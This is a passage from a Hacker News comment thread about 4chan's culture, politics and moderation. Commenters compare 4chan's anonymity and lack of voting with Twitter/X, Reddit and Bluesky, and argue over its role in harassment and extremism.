| obvious that they are running propaganda on the website and
| want to sow division in the US by encouraging fringe groups
| like these.
| gaiagraphia wrote:
| I find it quite amusing that a site dedicated to
| celebrating Japanese culture is apparently 'full of white
| supremacist posts'.
| lurk2 wrote:
| > There's absolutely no indication that it has been
| overtaken by developing countries.
|
| A lot of influencers in this space are non-whites born
| outside of the west. The scale of what he's describing is
| exaggerated, but the trend is there.
|
| > As for support for authoritarian regimes like russia,
| it is obvious that they are running propaganda on the
| website and want to sow division in the US by encouraging
| fringe groups like these.
|
| This might have been true ten years ago. Most of the
| people in this space became disaffected with Putin after
| the war began owing to his moves with Dagestan and the
| Wagner group's activities in Africa. /pol/ and /k/ are
| far more supportive of Ukraine than one would expect if
| your theory held true. There's reason to suspect this is
| the result of the same kind of influence campaigns that
| were being run on the site by Russia during the Syrian
| Civil War.
| Der_Einzige wrote:
| The fact that you had to explain this is evidence that
| those who try to fight the kind of ideology which is
| spreading on that website have no hope.
| lupusreal wrote:
| Name anything which doesn't need to be explained by
| somebody to someone. BTW, _" you disagreeing with me is
| evidence that I am right"_ is a very 4chan way of
| arguing.
| hobofan wrote:
| I would still call it one of the epicenters. Yes, many
| venues that were previously only multlipliers like some
| prolific streamers / Youtubers / TikTok channels have grown
| and cultivated their own distinct subcommunities which form
| new epicenters.
|
| However, from what I can see /pol/ still serves as
| significant breeding ground where people deeply committed
| to their views can get together in a "mask-off" manner
| without fear of moderation, while they have to be more
| "mask-on" on platforms that are more dissemination-focused
| like Youtube.
| lupusreal wrote:
| > _Also, as is being corroborated by other online circles
| like the Nick Fuentes "Groyper" movement_
|
| On 4chan, Nick Fuentes is loudly and routinely criticized
| as a closeted homosexual who hates women and encourages his
| impressionable underage followers to also hate women. He's
| a more active part of the incel pipeline than 4chan these
| days and is called out for it _on_ 4chan.
|
| (He's also as a federal informant, since he was never
| thrown in the slammer for plainly inciting J6 activity. The
| feds had him dead to rights for that and just let him. I
| mention this not because it's relevant to the point, just
| for completeness.)
| lurk2 wrote:
| > On top of that, they actively delete and ban posts that go
| against alt-right.
|
| Lurk moar.
| timeinput wrote:
| Piling on the "some parts of 4chan was good until it wasn't"
| theme: I really liked /ck/ for a while. Then there was this
| weird trend of just like "all food tubers are garbage" whether
| that was "Kenji-Cucks", or people hating on Rageusa, or what
| ever.
|
| Combining that with the "post hands" request for a lot of food
| it was just an unpleasant community to participate it.
|
| Weirdly trying to load the page right now I'm getting
| Connection timed out. Is hackernews ddosing 4chan? What a
| world.
| gosub100 wrote:
| Ragusea is an idiot, though and I arrived at that conclusion
| without any help from 4ch.
| garfield_light wrote:
| Why? He seems better than the average foodtuber.
| gosub100 wrote:
| If he stuck to food it would be fine. But he can't talk
| about a cheese sandwich without detouring into racially
| polarized woke politics.
| s3krit wrote:
| /ck/ from around 2015 to hmm... maybe 2018-19 was pretty
| good, and probably my home board. Decent cook along threads
| (I hope Patti is doing ok), /ck/ challenge threads where
| there was some theme we had to follow and posts would get
| ranked... and of course the yearly lemon pig [1] threads.
| Sadly I guess fast food posting, shitting on foodtubers, and
| general /pol/ shittery made it go down in my view. Still went
| there most days until yesterday though.
|
| [1] https://en.m.wikipedia.org/wiki/Lemon_pig
| ren_engineer wrote:
| /g/ was the origin of Chain of Thought for AI, also where llama
| weights were first leaked
| canjobear wrote:
| > /g/ was the origin of Chain of Thought for AI
|
| Is this documented?
| FMecha wrote:
| /g/ was also the home of a Windows XP source code leak (at
| least publicly). Some gaming-related leaks also came from
| /v/, such as the 1999 Duke Nukem Forever builds.
| torginus wrote:
| It's interesting to note the popularity of the website, and the
| massive traffic it handled, despite the lack of everything we
| assume necessary for a modern (social media) website
|
| - no modern web frameworks
|
| - no microservices/kubernetes clusters
|
| - no algorithmic curation/moderation/recommendation algoritmhs
|
| One wonders just how much of the modern engineering developed
| in the past decades, that cost a fortune to develop and run is
| actually necessary or even beneficial for running a modern
| social media website
| conradfr wrote:
| Should have had updated dependencies though.
| potato3732842 wrote:
| I worked for a major internet company until 2020. HN would be
| aghast how much "if we failed to provide this service a good
| chunk of the internet would either go down or sites wouldn't
| function properly and the stock market probably would dip"
| stuff runs on redundant pairs of LAMP stacks and other
| unsophisticated old stuff HN would turn up its nose at.
| TZubiri wrote:
| "Redundant pair of LAMP stacks"
|
| Damn you got two of those? That's advanced magic
| protocolture wrote:
| Active/Passive and no one has ever done a failover test.
| potato3732842 wrote:
| We did a failover test last time a motherboard failed. It
| went so well it made the news.
| rcpt wrote:
| otoh the entire site is no longer running because they fell
| behind on updates
| torginus wrote:
| yeah but the 'social media needs hyper-complex and opaque
| curation algorithms to control what the users see,
| otherwise it'd become unusable' argument is provably false.
| Companies just want to control the narrative and/or push
| ads/influencers/opinions into peoples faces, while trying
| to maintain the illusion of organic discussion.
| Aerroon wrote:
| I think no algorithmic curation is its strength. It means
| that even if an echo chamber appears anybody can still post
| their opinion and it doesn't get downvoted into oblivion when
| people disagree.
| milesrout wrote:
| Nobody that is over 30 thinks any of those things are
| necessary because we all remember them not existing and
| websites handling plenty of traffic fine.
| bigfatkitten wrote:
| Even /b/ was pretty good back in the day. Memes and inside
| jokes galore with almost no porn to be seen.
| irusensei wrote:
| The first llama torrents were posted on /g/ and for a long time
| it was the best place to go for information on local models.
| keepamovin wrote:
| I still don't understand how to read threads. How do replies
| work? How do you know it's actually the person you're replying
| to who's replying back? How is it organized visually??
| DecoySalamander wrote:
| > How do replies work
|
| Reply references the post it is replying to by ID, most
| boards will turn that ID into a link or even create a UI to
| view a chain of replies.
|
| > How do you know it's actually the person you're replying to
| who's replying back?
|
| You shouldn't, an anonymous imageboard invites you to engage
| with ideas, not people. However, on most boards you can enter
| a password with your post, which is displayed as a hash,
| changing you from anonymous to pseudonymous (although this is
| generally considered attention-seeking and is frowned upon).
| keepamovin wrote:
| Thank you for explaining it.
| ogurechny wrote:
| If that's your thing, you can turn nicknames and avatars on
| in profile settings after registration.
| brap wrote:
| You're right but only if ignoring the last 5 years or so.
|
| I discovered 4chan around 2008 as a kid, it was much less
| hostile back then. Even as an adult I used to go on /fit/ every
| now and then. It was useful and funny and even "wholesome" in
| its own special way.
|
| But over the last few years, the entire site became /pol/, and
| other boards became unusable. Maybe once a year I will pop in
| and immediately regret it.
| RKFADU_UOFCCLEL wrote:
| This. It's just a website (where anyone can post, quite rare in
| these overpoliticalized days).
|
| > A Soyjak.Party users also shared a list of emails they
| claimed are associated with janitor and moderator accounts,
| including three .edu emails. Although some internet users
| claimed that the leaks included .gov emails associated with
| members of the moderation team, this remains unverified.
|
| Like who cares?
| brigandish wrote:
| I see a lot of hate for 4chan here. Why? I've never used it, know
| it by reputation, but not sure why there's so much hate for it.
| Philpax wrote:
| https://en.wikipedia.org/wiki/4chan#Controversies_and_harass...
| brigandish wrote:
| Honestly, that didn't help. There's a wide type of
| "controversy" there, and I don't see how 4chan are inherent
| to any of them, they could've been done via any forum. Or
| maybe I missed something, specificity would be good.
| Loocid wrote:
| But they weren't done via any forum, they were done via
| 4chan. The community makes a forum.
| wewxjfq wrote:
| This still stings: https://news.ycombinator.com/item?id=6747373
| karn97 wrote:
| Even more true in 2025
| beeflet wrote:
| made me LOL
| 1231231231e wrote:
| >Ask HN: Why is nobody using [obscure niche technology from
| the 80s]?
|
| >Why [popular technology] is [unexpected opinion]
| ozmodiar wrote:
| I hope this isn't too contentious but I'll try to cover most
| things. I've posted this a few times, but I checked out 4Chan
| about twice in the early days and saw CSAM both times and it
| gave me personally a visceral hatred of the site. I've heard it
| got better/that's not representative but it's a hard thing to
| shake. The origin of the site is also supposedly Moot getting
| kicked off SomethingAwful for posting 'lolicon' (child anime
| porn). They've also gone after and doxxed pedophiles though, so
| the sites relationship with that sort of content is...
| complicated. I think most of the worst ended up moving to 4Chan
| clones quite awhile ago because it really splintered again at
| some point and became known as the cleaner Chan board.
|
| It's also known for its extremely abrasive mildy sociopathic
| culture and 4Chan posters have a very samey 'posting voice'
| where if you don't like it you can hate it. It permeates a lot
| of the internet, but 4chan is kind of seen as the epicenter. I
| think it also gets blamed for a lot of negative internet
| culture like doxxing and choosing targets to harass, although
| I'm not sure how much of that was actually 4Chan. I think most
| of those people moved on to Kiwifarms. 4Chan probably gets some
| hate for things that other Chan sites have like Qanon in a sort
| of 'you started this' way.
|
| And finally the politics are complicated. It actually used to
| be slightly left leaning or at least libertarian or anarchist,
| but over the years pol in particular has been known to be hard
| right wing. It definitely seems like they had a shift in
| political tone for the (IMO) worst at some point.
|
| Personally I won't hide that I'm a hater and an unapologetic
| curmudgeonly old man, but that's my perception. On the other
| hand if you think the CP stuff is overblown, don't care about
| the negatives because there are apparently good boards there
| that are insulated, or are just hard right yourself then it is
| one of the last major discussion boards on the net. Some of
| that's probably out of date (like I said I gave up on it pretty
| quickly) but I'd wager most people with negative opinions are
| thinking of one or more of those. I'd be interested if any
| haters have other reasons.
| sjsdaiuasgdia wrote:
| > It actually used to be slightly left leaning or at least
| libertarian or anarchist, but over the years pol in
| particular has been known to be hard right wing.
|
| If your bar doesn't kick out nazis, your bar becomes the nazi
| hangout.
|
| https://en.wikipedia.org/wiki/Paradox_of_tolerance
| brigandish wrote:
| That's not what the paradox of tolerance says, nor is it
| relevant. Popper gave two explicit standards for working
| out who is _intolerant_ :
|
| - they shun debate ("begin by denouncing all argument",
| "forbid their followers to listen to rational argument")
|
| - they use violence instead ("answer arguments by the use
| of their fists or pistols")
|
| I, for one, prefer having _peaceful_ Nazis to the other
| sort, and to - as Popper puts it - "counter them by
| rational argument and keep them in check by public
| opinion". Unless 4chan officials or the Nazis on 4chan were
| meeting both standards then I fail to see a connection.
|
| Were 4chan or the 4chan Nazis doing so?
| prohobo wrote:
| ie. if you're shunning debate and deplatforming people
| based on ideological disputes, you're also a nazi.
| lupusreal wrote:
| In reality, the rest of the bar laughs at and mocks the one
| Nazi and he probably stops coming or at least shuts up,
| even though he hasn't been banned. This is how most
| non-/pol/ generals have handled it, and it works. It's how
| plenty of real bars across America handle it too, when the
| bar and patrons earnestly subscribe to free speech as a
| aspirational principle for guiding human behavior, not
| limited to simply the first ammendment binding the hands of
| government. If somebody wants to reveal themselves to be a
| dumbass, that's entertainment for everybody else.
| Whoppertime wrote:
| I don't know what CSAM is and after reading the rest of your
| post I don't want to Google it
| detaro wrote:
| "Child Sexual Abuse Material"
| brigandish wrote:
| Thanks, that gives me something to go on. I appreciate the
| time you took with your reply.
| throwaway743 wrote:
| Because people think /pol/ is 4chan, and it's easier to think
| that and what others say about something than to invest time
| into looking into something they were uninterested in looking
| into to begin with
| gherkinnn wrote:
| You know, I always found Twitter (even pre-X) to be worse than
| 4chan ever was. Not in obvious terms, but in how it fucked with
| your head.
| 1970-01-01 wrote:
| This is a pretty good take! It's because you could verbally
| attack and fight the 4chan idiots with a swarm of common sense
| and be lauded for doing that job.
|
| Doing the same on X will just get you banned for whatever
| reason Elon feels is best 'for the community'.
| lesbolasinc wrote:
| I dont understand why twitter is so prevalent in the tech
| community; and it's not like you can just 'not use it' - you
| are at a true disadvantage if you aren't on twitter because
| of how much discourse around new tech, private equity, etc
| transpires on it.
|
| I'm surprised a literal echo-chamber in which free speech is
| suppressed for disagreeing with the party line is responsible
| for so much productivity because of how many techbros are
| active on it. What happened to the time where being a techbro
| meant you were an open source libertarian like Stallman?
| mlsu wrote:
| I think that's just an artifact of twitter's history. It
| was "normal" (increasingly algorithm slop driven) website
| until roughly 1-2 years ago when it was bought out and
| became maga slop.
|
| Remember twitter came out in like 2007 when only tech
| people were on the internet.
| username332211 wrote:
| The feedback mechanism on Twitter allows you to find useful
| discussions of current affairs in less popular topics. Can
| you find a good discussion of current events in
| agribusiness on Reddit? No. On Facebook? No. But if you
| open up Twitter and search for Arthur Daniels and you'll
| find something useful.
|
| So, when the manager at a company wants to publicize, he
| has nowhere else to go.
|
| > I'm surprised a literal echo-chamber in which free speech
| is suppressed for disagreeing with the party line is
| responsible for so much productivity because of how many
| techbros are active on it.
|
| Reddit is worse. Facebook is worse. Bluesky is a community
| that couldn't stand Twitter changing it's party line, so
| it's worse. Mastodon is complex and suffers from the same
| problems as Bluesky.
|
| Like it or not, Musk did choose his acquisition well.
| lesbolasinc wrote:
| Let me make it clear because I don't want to come across
| as biased - Reddit, Facebook and platforms like it are
| 1000% worse and or just as bad, no contest from me on
| that part; the dialogue just skews a different way
| depending on the platform.
|
| To the first point though, I guess I just don't
| understand how such niche and useful discussion ended up
| on twitter and remains there out of all places. It seems
| strange to find someone pushing moon-landing-is-fake
| conspiracies on the same site nuanced discussion occurs
| on some hyperfocused topic
| username332211 wrote:
| It's all about the technical features of the platform.
| Twitter's design is less likely to encourage conformity,
| so you can find far more insane content in it, but it's
| also less likely to encourage people to pointlessly
| discuss popular topics over and over.
|
| Twitter allows for the existence of small ad-hoc
| communities numbering a dozen people at most, without a
| designated leader. Facebook groups, subreddits and
| mastodon instances require that a community has a
| designated dictatorial leader, be it an admin, a
| moderator or an instance owner.
|
| The most powerful method of expressing approval - the re-
| tweet is likely to be used to promote _interesting_
| statements. Blind adherence to conformity isn 't
| interesting. Crazy conspiracy theories are interesting,
| but so is specialized knowledge. All you have to do is
| ignore the former, (unless conspiracy theories amuse
| you).
| jayd16 wrote:
| I don't know. I think you can just not use it. You might
| miss out on the daily chaff but anything of note will get
| reposted elsewhere.
| zahlman wrote:
| >What happened to the time where being a techbro meant you
| were an open source libertarian like Stallman?
|
| As far as I've ever been able to tell, Stallman's positions
| are much closer to socialism. Perhaps you're thinking of
| ESR?
| weberer wrote:
| They are orthogonal. If you plot him on the political
| compass, he'd be libertarian-left.
| bananalychee wrote:
| The pompous tone of your comment exemplifies what _actually_
| makes most social media platforms awful, which is how people
| act on them. Inconsistent moderation is everywhere, and most
| people getting banned from X absolutely deserve it. If you
| posted something like this on 4chan, people would quickly
| tell you to get off your high horse (in more vulgar terms).
| The nice thing about an anonymous message board is that
| without a name or upvote count attached to your name, you don
| 't get positive reinforcement for putting on a show of moral
| superiority, and struggle sessions via petty call-outs or
| pile-ons are not a thing beyond the lifetime of a thread. And
| on the other side of the same coin, people are not afraid of
| damaging their reputation by being uncouth, which helps not
| take anything too seriously, and enables direct feedback
| instead of passive-aggressive behavior.
| bigyabai wrote:
| HN really corroborates the inverse principle here - giving
| everyone names and karma doesn't seem to generate
| consistent, thoughtful contributions. It rewards apologia,
| groupthink and complacency, oftentimes the only interesting
| or unique viewpoint in a thread is flagged or karma-bombed
| to the bottom because it's a green username. The big HN
| "experiment" feels like it's stalled out, we've been
| getting the same results for years now. This website
| garners the reputation it has because everyone with power
| is out for themselves. There is no desire to accept change
| that threatens the collective interests of the tech
| industry, look at how HN reacts to regulations and war
| crimes and misinformation that technology inherently
| necessitates. It's thread after thread of hand-wringing,
| "it's not your fault" and then everyone is off to nerd-
| snipe each other over the semantic definition of a sorting
| algorithm.
|
| Let HN, Reddit and X (or whatever it's called now) be a
| lesson to everyone - privately owned platforms are all just
| different brands of echo chamber. There is no obligation to
| change an echo chamber that makes you money or repeats what
| you want to hear.
| newZWhoDis wrote:
| Everything happens on X now.
|
| Even when I'm forced to go back to Reddit, all the niche subs
| I follow just post back to X links where the actual
| discussion is happening.
| ilikecakeandpie wrote:
| most of the niche subs I follow have banned X links, and
| every time I get on X I just see a bunch of bots or things
| I have no interest in
| Blikkentrekker wrote:
| > _This is a pretty good take! It 's because you could
| verbally attack and fight the 4chan idiots with a swarm of
| common sense and be lauded for doing that job._
|
| This is actually a big reason why 4chan never messed with my
| sanity and blood pressure opposed to say Reddit or Twitter.
| It feels like on 4chan there are some people who are
| completely off the rails, but they can be insulted and called
| out. On Reddit or Twitter, it feels like almost everyone is
| "somewhat of the rails" and they all concentrate among each
| other, as in almost every Subreddit has some collectively
| held belief that simply appears as nonsensical to people
| outside of it, but as much as politely disagreeing will get
| one blocked by that specific user in many cases, or just
| banned from the subreddit so it's far more obnoxious. Also,
| it feels like arguing against an endless current whereas at
| best on 4chan it's two waves that clash into each other of
| even size.
|
| 4chan is "arguing against an idiot", Reddit and Twitter
| becomes "arguing against idiots, being surrounded by them,
| and very often not even really being allowed to argue lest
| one be banned". It's a very frustrating experience that makes
| one's blood boil.
| amadeuspagel wrote:
| Browsing different forums helps you recognize how discourse is
| shaped by different feedback loops, how people troll on 4chan
| or conform on reddit, rather then assuming that twitter is real
| life.
| carabiner wrote:
| I received really heartfelt (to me) and sincere life advice on
| 4chan. I think the fact that it's anonymous without a real
| karma/voting system means there's a lot less ego-driven, self-
| centered posting. People don't try to attack as much or have
| bitter back-and-forths as much as twitter, reddit. They might
| argue for a bit and then just say f it and move on. But there's
| no motivation for ragebait, karma farming like there is on
| twitter.
| SkyeCA wrote:
| It's not just that there's no voting system it's that there's
| no names. It's pointless to argue on a site like Reddit, but
| it's ridiculous to argue back and forth on a site like 4chan
| where you can't even know if you're arguing with the same
| person from post to post.
|
| Likewise an outside observer can't assign any identity to a
| series of posts in an argument, so you really have to take
| every post at face value.
| arkis22 wrote:
| I like this quote from a great philosopher of our time:
| https://knowyourmeme.com/photos/1273406-tyler-the-creators-c...
|
| the anonymity makes it kind of the only site where thats true
| underseacables wrote:
| I have been to 4chan maybe 4 times in my life. The first was like
| ok.. Then I visited /b and LOL'd for a couple of hours. Then it
| just got redundant and depressing. It really is the arsehole of
| the internet, but some people seem to find it useful.
| Blikkentrekker wrote:
| > _but some people seem to find it useful._
|
| Honestly, it filled a very specific hole for me that I found
| nowhere else. Everyone is talking about the "unfiltered
| content" and all those things but to me it was mostly just
| topical. It was really one of the few places where one could
| get a good discussion on the internet about Japanese female-
| oriented entertainment which I'm well aware isn't the first
| thing people think about with 4chan but pretty much every other
| forum about Japanese entertainment is completely dominated by
| male-oriented entertainment, except when they go out of their
| way to specifically make a board catered to female-oriented
| entertainment, but that has the side effect that people on
| those boards end up talking more about gender politics than
| about the entertainment itself and I just want to talk about my
| favorite television shows and comic books and really don't care
| about all the politics.
|
| 4chan by it's nature doesn't drown out minority tastes and
| voices. This really isn't just a "female-oriented
| entertainment" thing but really any minority taste that just
| gets drowned out on most boards to the point that it
| disappears. The only other place I know where one can do this
| is Tumblr, more or less, but it's a very different experience,
| not necessarily better or worse but there just isn't this kind
| of "live discussion" atmosphere and vibe going on on Tumblr
| about episodes that are currently airing where people post
| small comments as the episode is airing and they're watching
| it. It's more for long impressions after it was aired and it
| doesn't have the same degree of interaction, it's a blogging
| place, not a message board.
|
| As said, it isn't just that but "obscure taste" in general. You
| can make a thread on 4chan about some really obscure piece of
| fiction that no one knows and get a discussion going, half with
| the people that do it know, in part because it's an imageboard
| so they're drawn in to an image they recognize and it stands
| out, and half with people that never heard of it before, see
| the images in the thread, see it looks interesting and try it
| out. The images are the key I feel, it lowers the barrier of
| entry for people to try out something obscure because they see
| the images which lures them in. It was one of the best places
| to get a discussion going about some obscure piece of fiction
| which Tumblr doesn't do either, the only things that are being
| discussed are the really big titles. There are so many
| relatively obscure titles I enjoy I will possibly never get to
| discuss with anyone in my life again if 4chan not come back. I
| know many of those titles from 4chan because people constantly
| promote and share fairly obscure things there and the images
| again sell it.
| shipscode wrote:
| The take on 4chan on here is super intriguing. I always felt that
| the current social media/doomscroll/memesharing landscape which
| has become so common worldwide is indiscernable and in some ways
| worse than 4chan. It feels like 4chan left it's homepage and went
| worldwide sometime in the early 2010s when iPhone-style phone use
| became more commonplace.
|
| I remember that 4chan users had more honor than users on the
| internet today. One example would be 4Chan's "Not your personal
| army" mentality vs. the widespread doxxing/"call their place of
| employment!" witch hunts, driven by huge accounts on
| IG/Tiktok/etc, that hit normal people daily.
|
| The modern social media landscape has become far more hectic,
| harmful, and downright scary than 4chan. Dodging explicit imagery
| is harder on Instagram's explore page than on 4chan, and the
| widespread popularization of OF creators has zero bounds across
| the socials. DOXXING is no longer frowned upon and now
| commonplace. And memes have become less unique and funny and more
| commoditized.
| gtirloni wrote:
| Isn't that the path that most platforms follow once they get
| mildly popular?
| amadeuspagel wrote:
| "Not your personal army" goes father then not doxxing. It's a
| rejection of any attempt to imagine a community of strangers,
| united by hatred of a scapegoat.
| shadowgovt wrote:
| If someone rallied a hate-mob on 4chan, though, how would
| people know?
|
| Since 4chan overtly resists it, it'd rapidly move off of
| there, but it's still a great place to find like-minded folks
| that'd follow someone to another server to go brigade
| someone.
| Klonoar wrote:
| 4chan has always claimed to resist it, but 4chan was never
| immune to being shuffled a specific way.
| snvzz wrote:
| Immune is the extreme.
|
| "claimed to resist but hasn't been immune" is reduction
| to absurd.
| mikeyouse wrote:
| Right, "not your personal army" was a quick way to
| decline to advance whatever doxx was being requested at
| that moment. Not an actual ethos. They regularly doxxed
| and swatted all sorts of people.
| bboygravity wrote:
| So "not your personal army" == don't be a journalist?
| anigbrowl wrote:
| No it was a stock response to proposals for board/site
| raids from people who had lost an argument or been banned
| and wanted to retaliate (but without offering comedy
| potential). Kinda like when corporate people discovered
| flash mobs and tried to use them for free marketing.
| foolfoolz wrote:
| modern 4chan has a certain authentic charm to it. this is
| missing from most other places. you have to sift past loads of
| junk to get it, but you have to do that on any app to get the
| content you want.
|
| with no names, likes, virality, accounts, etc there's less
| focus on writing the basic filler comments. less companies
| trying to sell me stuff. less focus groups trying to tell me
| what to think. and with less censorship you end up seeing more
| creativity
| LeafItAlone wrote:
| >there's less focus on writing the basic filler comments
|
| I'm not sure you've actually been to 4chan...
| profmonocle wrote:
| > 4Chan's "Not your personal army" mentality vs. the widespread
| doxxing/"call their place of employment!" witch hunts
|
| That's too generous. "Not your personal army" started because
| 4chan had a well-earned reputation for harassment - usually
| raiding other web sites, but often targeting individual people
| who caught their attention for one reason or another.
|
| The "not your personal army" slogan came about because people
| who were _very aware_ of this reputation were showing up,
| hoping to make a web site or person they disliked the next
| target. That got annoying fast, hence they told those people to
| go away.
|
| It wasn't a moral stance against target harassment - far from
| it. It was a stance that the group mind will choose the next
| target when they feel like it - not because some rando is mad
| at their ex or something
| KennyBlanken wrote:
| Multiple white supremacist mass shooter have been 4chan users
| and they cheered on the Buffalo shooter who was live updating
| during his murder spree:
| https://www.thetrace.org/newsletter/4chan-moderation-buffalo...
|
| The christchurch shooter was a 4chan regular
| https://theconversation.com/christchurch-terrorist-discussed...
|
| The whole "boogaloo" white nationalist/supremacist movement
| started on 4chan:
|
| https://www.splcenter.org/resources/reports/mcinnes-molyneux...
|
| "Not your personal army" but 4chan users would routinely dox,
| swat, and otherwise harass people all the time.
|
| I have no idea why people are whitewashing 4chan so hard.
| sph wrote:
| How many of these used Facebook, Twitter or Reddit? They are
| not mentioned in mainstream media because they are popular,
| but I assure you there are a lot of deranged people that
| never even posted on 4chan and just stuck to the "good" ones.
| seanw444 wrote:
| Or the countless people that like and use 4chan, and would
| never remotely consider perpetrating such a heinous act.
| PixelForg wrote:
| My main problem with 4chan is how they talk, like the language
| they use. They really don't care about anyone's feelings and
| show a lack of empathy. Unfortunately this has been spreading
| to other social media as well.
|
| Imagine how good a place it could have been if people over
| there talked like people on HN.
| HaZeust wrote:
| HN _is_ 4chan in many ways - the smart, civilized people just
| come here. Whereas the smart people that are willing to act
| disabled go there.
| sph wrote:
| HN is older 4chan. On the imageboard, you have the constant
| feeling you are arguing against 12 year olds.
| Zambyte wrote:
| Edit: this post is irrelevant to the context.
|
| 4chan is four years older than Startup News (the original
| name of Hacker News).
| sph wrote:
| I wasn't talking about age of the platform. I was talking
| about average mental age of its users.
| Zambyte wrote:
| Ah, my bad
| NewUser76312 wrote:
| Ha, not even close. Not anonymous, upvoting and vote
| manipulation mechanics, and a very soft and liberal
| political bend, I'm leaning.
|
| I like it though, good to have some opposites to view so
| you don't get stuck in a bubble.
| YurgenJurgensen wrote:
| Nobody on Twitter or Reddit or Bluesky or Facebook or
| whatever ever cared about anyone's feelings either, they just
| avoid using certain no-no words.
| Zambyte wrote:
| I have an awesome circle of people on Bluesky that I'm
| connected with that very much care about each others
| feelings. I'm sure that's not universal on there, but the
| corner that I'm in on there has probably been my most
| pleasant experience on the internet ever.
| artursapek wrote:
| It's performative. Not real
| Zambyte wrote:
| No it isn't. I have plans to meet people I originally
| connected with on Bluesky in person. I have received
| physical mail from people on the other side of the world
| that I connected with on Bluesky. I connected a person I
| met on their with my mother due to related personal
| struggles. Making this claim is really weird when you
| don't know anything about me or my friends.
| YurgenJurgensen wrote:
| I think it's notable that your examples of people caring
| on Bluesky all involve moving to a channel other than
| Bluesky. Surely if the emotional connection were real,
| you wouldn't need to move off social media to facilitate
| it?
| Zambyte wrote:
| What? If the connection was real, why would I limit it to
| a public digital timeline? That seems like _that_ would
| be performative.
|
| Kinda over picking apart my relationship with people on
| Bluesky. Just wanted to share that I have been really
| enjoying it.
| Ar-Curunir wrote:
| What a sad mindset.
| nathan_compton wrote:
| This is one of the weirder contemporary "anti-woke"
| takes. For one thing, that which is performative can
| easily also be genuine, and quite arguably if one feels
| genuine about something then one ought to perform it,
| hopefully in a way that makes it attractive to other
| people.
|
| But on the subject of whether things are genuine or not,
| I see lots of actual, cash on the table, give money,
| mutual aid in these communities. I could understand
| performance as being artificial, but if someone is
| dropping cash to help a person out of a bad situation,
| that seems a pretty good definition of authentic to me.
|
| In any case, "it's performative" simply does not imply it
| is not also real.
| willis936 wrote:
| Feature, not bug. Edgy teens don't want responsible adults in
| their clubhouse. Unfortunately it also attracts manchildren.
|
| If it was pleasant to the senses then it wouldn't be
| counterculture.
| ogurechny wrote:
| There is no "they".
|
| Like many others coming from social web, you expect to find
| some kind of community which fashions everyone shares, an
| apparel you can put on. The idea is complete opposite: you
| don't need to follow any fashion, or imagine yourself "part
| of the team" any more than you want to. Even though it's not
| written in any rules, you don't have to use slang or tone if
| you find them dumb, overused (globally or locally), or
| forced. Neither do you have to treat stupid posts with
| respect.
|
| I assume that after 15-20 years of being part of collective
| consciousness, anonymous image boards have mostly the same
| public as any average site. Amount of crap that you can read
| there is just the same as everywhere (though in some cases
| this or that Big Brother hides it from your view --
| obviously, to make you more comfortable, and spend more time
| in his warm embrace). The difference is that regular social
| fashions mandate the use of suitable set of candy wrappers
| for the crap, then there are customary ways of dealing with
| them, so in the end people just spend their time wrapping and
| unwrapping crap, but are proud of themselves, and call it
| "civilised discourse".
| starfezzy wrote:
| 3/10 troll
|
| That's antithetical to many of the foundational rules of the
| internet, which are core to 4chan culture.
|
| The whole point is that they don't let the fluctuating, weak-
| willed whims of normie sensibilities determine what's
| allowed.
| PixelForg wrote:
| And thats exactly what I don't like, there's no good reason
| why the internet has to be like this. It's simple, just be
| the same online like how you'd be irl. Tired of all these
| people that would talk shit online but become weak irl.
|
| Then again this is just my opinion, I don't like 4chan
| because of the mentioned reasons so I don't visit it.
| Nothing trollworthy about that.
| ASalazarMX wrote:
| > That's antithetical to many of the foundational rules of
| the internet, which are core to 4chan culture.
|
| The most foundational rule of the Internet was the sharing
| of information, and that's a coincidence of hackers being
| the first to adopt it. Being macho and emotionally stunted
| was never a foundational value, that's immature manchildren
| equating kindness with weakness.
| 14 wrote:
| As a parent I have seen first hand some of the bullying teens
| face on some of the mainstream platforms. Kids being bullied in
| an instant on snap where things are spread around at lightning
| speed for one example. But I have also seen some bad things
| happen on 4chan. People releasing nudes of their exes or posts
| where users submit clothed pictures of girls they want to see
| photoshopped naked and a person does so. Or the rekt threads
| with gore content blocked on most other sites. I guess my
| feeling is that no matter the site you will always get bad
| actors.
| rincebrain wrote:
| The memetic speedrun that's so common now on social media has
| some roots there, to be sure, but I think a lot of it was
| parallel evolution combined with cribbing things that were
| already polished from years of metaphorical rock tumbling on
| 4chan, in the best ifunny.com style.
|
| The ubiquitous expectations for modern humor among younger and
| even middle-aged people rely a lot more on knowing not just the
| joke but the culture and context it evolved in, and that sort
| of thing very much dominated bubbles of terminally online
| people before many people became terminally online and there
| was an expectation that everyone would know what you meant if
| you sent an image macro as the entire reply to an email.
|
| You can find example after example from not that long ago of
| people who are not so terminally online being completely
| perplexed, on TV and otherwise, and memes like "what the fuck
| is he saying" "let's get you to bed grandpa" about the cultural
| disconnect.
|
| Unfortunately, this sort of attention minmaxing without enough
| deliberation and learning around it produces people who are
| uncritical of what they consume and just want the next hit.
| Ferret7446 wrote:
| 4chan will always be superior than modern social media to me,
| for one very simple reason: all posts are anonymous and there
| is no voting/ranking.
|
| Each and every post must stand alone and be judged alone. You
| do not know if it was posted by someone you hate or adore. It
| doesn't get hidden or promoted based on what a bubble voted.
| You see the post and you must judge it alone.
| sph wrote:
| Agreed. I would go so far as to say all the ills of modern
| social media are because of ranked platforms, such as
| upvote/downvote-based, or like-based. They turn into echo
| chambers, that promote witty one-liners over nuance, and any
| sort of controversial position is effectively censored.
|
| That said, HN functions decently well, though in some ways it
| is even worse in the censoring the outliers.
| bananalychee wrote:
| HN has a good model for technical discussions, and the fact
| that it's a forum with a limited scope whose audience
| mostly consists of technology professionals probably helps
| a lot in filtering low-effort posting (not to downplay the
| role of moderation). But when it comes to emotional topics
| like anything political, it clearly devolves into what you
| described.
|
| That makes me wonder if there are forums out there that
| focus on current events in politics or economics and
| successfully filter emotionally-charged posts; the few
| commentators on X who manage to stay detached are the only
| people keeping me on algo-driven social media.
| lurk2 wrote:
| This used to be a selling point for me when I was younger,
| but increasingly I find myself not wanting to deal with
| poorly-moderated platforms. I can't tell if it's because the
| transgressive vulgarity that these platforms enable has lost
| its novelty as I've gotten older or because the median user
| has less to contribute. Every time I try to browse 4chan
| these days I find that half the posts are repulsive,
| basically pornographic representations of the world, and the
| other half is the product of psychosis (that is, the people
| making the posts likely need to be institutionalized).
|
| There are a lot of people who have nothing to contribute to a
| conversation, and a lot of people who are actively
| detrimental to a conversation. It used to be that you would
| put up with the craziest ones for the benefit of finding
| novel and overlooked ideas, but as the internet has become
| more accessible, the former group now outnumbers the latter.
|
| I would be inclined to think that the problem is that I just
